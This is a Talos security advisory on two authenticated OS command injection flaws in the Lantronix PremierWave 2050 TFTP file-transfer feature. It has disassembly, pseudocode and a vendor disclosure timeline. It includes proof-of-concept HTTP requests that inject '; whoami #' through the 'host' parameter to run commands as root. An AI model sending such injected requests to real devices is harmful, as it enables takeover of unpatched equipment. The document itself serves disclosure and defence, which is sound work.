Talos Vulnerability Report

TALOS-2021-1315

Lantronix PremierWave 2050 Web Manager FsTFtp OS command injection vulnerabilities

NOVEMBER 15, 2021

CVE NUMBER

CVE-2021-21876,CVE-2021-21877

Summary

Multiple OS command injection vulnerabilities exists in the Web Manager FsTFtp functionality of Lantronix PremierWave 2050 8.9.0.0R4. Specially-crafted HTTP requests can lead to arbitrary command execution. An attacker can make authenticated HTTP requests to trigger these vulnerabilities.

Tested Versions

Lantronix PremierWave 2050 8.9.0.0R4 (in QEMU)

Product URLs

https://www.lantronix.com/products/premierwave2050/

CVSSv3 Score

9.1 - CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

CWE

CWE-78 - Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’)

Details

PremierWave 2050 is an embedded Wi-Fi Module manufactured by Lantronix.

The PremierWave 2050 Web Manager provides a file system browser interface that, among other things, allows an authenticated and authorized user to move files to and from the system via TFTP. It accepts several HTTP parameters and then uses those parameters to craft one of two `system` calls to the `tftp` binary on the system. Below is the assembly responsible for parsing the HTTP parameters from the request:

```
PUSH            {R4-R11,LR}
LDR             R1, =aCwd ; "cwd"
SUB             SP, SP, #0x1000
SUB             SP, SP, #0x24
MOV             R4, R0
BL              http__get_param_by_name
LDR             R1, =aCmd ; "cmd"
LDR             R5, =PrintPostResults
MOV             R7, R0 ;                                                [1] Store "cwd" parameter into R7
MOV             R0, R4
BL              http__get_param_by_name
MOV             R6, R0 ;                                                [2] Store "cmd" parameter into R6

...

MOV             R0, R2 ;                                                [3] Verify that user has "filesystem" permissions
LDR             R1, =aFilesystem ; "filesystem"
BL              IsGroupListWritable
SUBS            R2, R0, #0
BNE             loc_56D1C

...

CMP             R7, #0 ;                                                [4] if ( !cwd || !*cwd ) { error }
BEQ             loc_56D30
LDRB            R3, [R7]
CMP             R3, #0
BNE             loc_56D4C

...

CMP             R6, #0 ;                                                [5] if ( !cmd || !*cmd ) { error }
BEQ             loc_56D60
LDRB            R3, [R6]
CMP             R3, #0
BNE             loc_56D80

...

MOV             R0, R6 ; cmd
LDR             R1, =(aTarget+3) ; "get"
BL              strcmp                                                  [6] if ( cmd == "get" ) { is_put@R11 = False }
CMP             R0, #0
BEQ             loc_56DC4
MOV             R0, R6 ; cmd
LDR             R1, =aPut_0 ; "put"                             [7] if ( cmd != "put" ) { error } else { is_put@R11 = True }
BL              strcmp
CMP             R0, #0
MOVEQ           R11, #1
BEQ             loc_56DCC

...

MOV             R11, R0
B               loc_56DCC
MOV             R0, R4
LDR             R1, =aLocal ; "local"
BL              http__get_param_by_name ;               [8] Store "local" parameter into R5
SUBS            R5, R0, #0 ;                                    [9] if ( !local && !*local ) { local = "\0" }
BEQ             loc_56DEC
LDRB            R3, [R5]
CMP             R3, #0
MOVEQ           R5, #0

MOV             R0, R4
LDR             R1, =aRemote_0 ; "remote"
BL              http__get_param_by_name ;               [10] Store "remote" parameter into R6
SUBS            R6, R0, #0 ;                                    [11] if ( !remote && !*remote ) { remote = "\0" }
BEQ             loc_56E0C
LDRB            R3, [R6]
CMP             R3, #0
MOVEQ           R6, #0

MOV             R0, R4
LDR             R1, =aHost_0 ; "host"
BL              http__get_param_by_name ;               [12] Store "host" parameter into R9
SUBS            R9, R0, #0 ;                                    [13] if ( !host || !*host ) { error }
MOV             R0, R4
BEQ             loc_56E30
LDRB            R3, [R9]
CMP             R3, #0
BNE             loc_56E48

LDR             R1, =aPort ; "port" ;
BL              http__get_param_by_name                 [14] Store "port" paramter into R3
SUBS            R3, R0, #0                                              [15] if ( port_string && *port_string ) {
BEQ             loc_56EA0
LDRB            R3, [R3]
CMP             R3, #0
BEQ             loc_56EA0
MOV             R2, #0xA ; base
MOV             R1, #0  ; endptr
BL              strtol                                                  [16]     port@R10 = strtol(port_string, 0, 10);

...

MOV             R10, #0x45 ;                                    [17] } else { port@R10 = 69 }
```

This effectively decompiles to the following pseudocode:

```
cwd = get_POST_param("cwd");
cmd = get_POST_param("cmd");
local = get_POST_param("local");
remote = get_POST_param("remote");
host = get_POST_param("host");
port_s = get_POST_param("port");

if ( !IsGroupListWritable("filesystem") )
    error();

if ( !cwd || !*cwd )
    error();
if ( !cmd || !*cmd )
    error();
if ( !host || !*host )
    error();

if ( !port_s || !*port_s ) {
    port = 69;
} else {
    port = strtol(port_s, 0, 10);
}
```

At this point, the function selects one of two equally exploitable `system` calls, based on whether the user is initiating a TFTP GET or PUT. These paths are detailed below.

CVE-2021-21876 - “PUT” Command Injection

The assembly responsible for handling PUT requests is included below.

```
CMP             R11, #0 ;                                               [18] if { is_put } {
BEQ             loc_56FF0
LDR             R2, =PrintPostResults
LDR             R3, =fs
BEQ             loc_56FF0

MOV             R0, R8
BEQ             loc_56F20
MOV             R1, R7
MOV             R2, R5
MOV             R3, #1
BL              CwdParseMakePath ;                              [19]     if ( !CwdParseMakePath(final_path, cwd, local, 1) || !final_path[0]
) { error }
CMP             R0, #0

...

MOV             R0, R8
BL              FileIsHidden ;                                  [20]     if ( !FileIsHidden(final_path) ) {
CMP             R0, #0
BNE             loc_57098
CMP             R6, #0 ;                                                [21]         if ( !remote )
BNE             loc_56F58
MOV             R0, R5
BL              CwdParseLastItem ;                              [22]             remote = CwdParseLastItem(local);
MOV             R6, R0

MOV             R3, R6
STMEA           SP, {R9,R10}
LDR             R1, =path ; "/ltrx_user"
MOV             R2, R8
LDR             R0, =aTftpLSSRSPSD21
BL              sprintf_malloc ;                                [23]         command = sprintf_malloc("tftp -l '%s/%s' -r '%s' -p %s %d
2>&1", "/ltrx_user", final_path, remote, host,
LDR             R5, =0xFFFFEFF4
LDR             R6, =0xFFFFEFF8
ADD             R2, SP, #0x1048+var_48
MOV             R3, #0
ADD             R2, R2, #0x20 ; ' '
STR             R3, [R2,R6]
STR             R3, [R2,R5]
ADD             R1, SP, #0x1048+result ; a2
ADD             R2, SP, #0x1048+num_bytes ; a3
MOV             R10, R0
BL              exec_system_cmd_ex ;                    [24]         exec_system_cmd_ex(command, &output, &num_bytes);
```

This effectively decompiles to the following pseudocode:

```
if ( is_put ) {

    if ( !local )
        error();

    // `CwdParseMakePath` sanitizes '/../' style file paths
    //  before building the final path by concatenating `cwd` and `local` into `localfile`
    if ( !CwdParseMakePath(localfile, cwd, local, 1) || !localfile[0] )
        error();

    if ( !remote )
        remote = CwdParseLastItem(local);  // If no remote file name is supplied, use the `basename` of the local file

    if ( !FileIsHidden(localfile) ) {
        command = sprintf_malloc("tftp -l '%s/%s' -r '%s' -g %s %d 2>&1", "/ltrx_user", localfile, remote, host, port);
        exec_system_cmd_ex(command, &output, &num_bytes);
    }
}
```

The following HTTP request attempts to execute a TFTP PUT file transfer:

```
POST / HTTP/1.1
Host: [IP]:[PORT]
Content-Length: 104
Authorization: Basic YnJvd25pZTpwb2ludHM=
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

ajax=FsTFtp&cmd=put&local=sample&remote=sample&host=; whoami #&port=21&submit=Transfer&cwd=/
```

The `host` parameter will be injected, without validation, into the above `tftp` command and then executed with root privileges. The above request results in the following command:

```
tftp -l '/ltrx_user//sample' -r 'sample' -p ; whoami #
```

CVE-2021-21877 - “GET” Command Injection

The assembly responsible for handling GET requests is included below.

```
CMP             R6, #0 ;                                                [25] if ( !remote ) { error(); }
LDREQ           R1, [R2]
MOVEQ           R0, R4
LDREQ           R2, [R3]
MOVEQ           R3, #0x1A
BEQ             loc_56D78
CMP             R5, #0 ;                                                [26] if ( !local ) {
ADD             R8, SP, #0x1048+localfile
BNE             loc_5702C
MOV             R0, R6
BL              CwdParseLastItem                                [27]     local = CwdParseLastItem(remote); }
MOV             R1, R7
MOV             R2, R0
MOV             R0, R8
B               loc_57048

...

MOV             R3, #1
BL              CwdParseMakePath ;                              [28] if ( !CwdParseMakePath(localfile, v22, v23, 1) || !localfile[0]
) { error(); }
CMP             R0, #0
BEQ             loc_57098
LDR             R3, =0xFFFFEFFC
ADD             R2, SP, #0x1048+var_48
ADD             R2, R2, #0x20 ; ' '
LDRB            R3, [R2,R3]
CMP             R3, #0
BNE             loc_57088
B               loc_57098

...

MOV             R0, R8
BL              FileIsHidden ;                                  [29] if ( !FileIsHidden(localfile ) ) {
SUBS            R5, R0, #0
BEQ             loc_570B4

...

STMEA           SP, {R9,R10}
LDR             R1, =path ; "/ltrx_user"
MOV             R3, R6
MOV             R2, R8
LDR             R0, =aTftpLSSRSGSD21
BL              sprintf_malloc ;                                [30]     command = sprintf_malloc("tftp -l '%s/%s' -r '%s' -g %s %d
2>&1", "/ltrx_user", localfile, remote, host, port);
LDR             R6, =0xFFFFEFF4
LDR             R10, =0xFFFFEFF8
ADD             R3, SP, #0x1048+var_48
ADD             R2, SP, #0x1048+var_1028
ADD             R3, R3, #0x20 ; ' '
ADD             R1, SP, #0x1048+result ; a2
SUB             R2, R2, #8 ; a3
STR             R5, [R3,R6]
STR             R5, [R3,R10]
MOV             R9, R0
BL              exec_system_cmd_ex                              [31]     exec_system_cmd_ex(command, &output, &num_bytes); }
```

This effectively decompiles to the following pseudocode:

```
if ( !is_put ) {
    if ( !remote )
        error();

    if ( !local )
        local = CwdParseLastItem(remote);

   if ( !CwdParseMakePath(localfile, cwd, local, 1) || !localfile[0] )
       error();

   if ( !FileIsHidden(localfile) ) {
       command = sprintf_malloc("tftp -l '%s/%s' -r '%s' -g %s %d 2>&1", "/ltrx_user", localfile, remote, host, port);
       exec_system_cmd_ex(command, &output, &num_bytes);
   }    }
```

The following HTTP request attempts to execute a TFTP GET file transfer.

```
POST / HTTP/1.1
Host: [IP]:[PORT]
Content-Length: 104
Authorization: Basic YnJvd25pZTpwb2ludHM=
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

ajax=FsTFtp&cmd=get&local=sample&remote=sample&host=; whoami #&port=21&submit=Transfer&cwd=/
```

The `host` parameter will be injected, without validation, into the above `tftp` command and then executed with root privileges. The above request results in the following command:

```
tftp -l '/ltrx_user//sample' -r 'sample' -g ; whoami #
```

Timeline

2021-06-14 - Vendor Disclosure

2021-06-15 - Vendor acknowledged

2021-09-01 - Talos granted disclosure extension to 2021-10-15

2021-10-18 - Vendor requested release push to 2nd week of November. Talos confirmed final extension and disclosure date

2021-11-15 - Public Release

CREDIT

Discovered by Matt Wiseman of Cisco Talos.

VULNERABILITY REPORTS

PREVIOUS REPORT

TALOS-2021-1314

NEXT REPORT

TALOS-2021-1322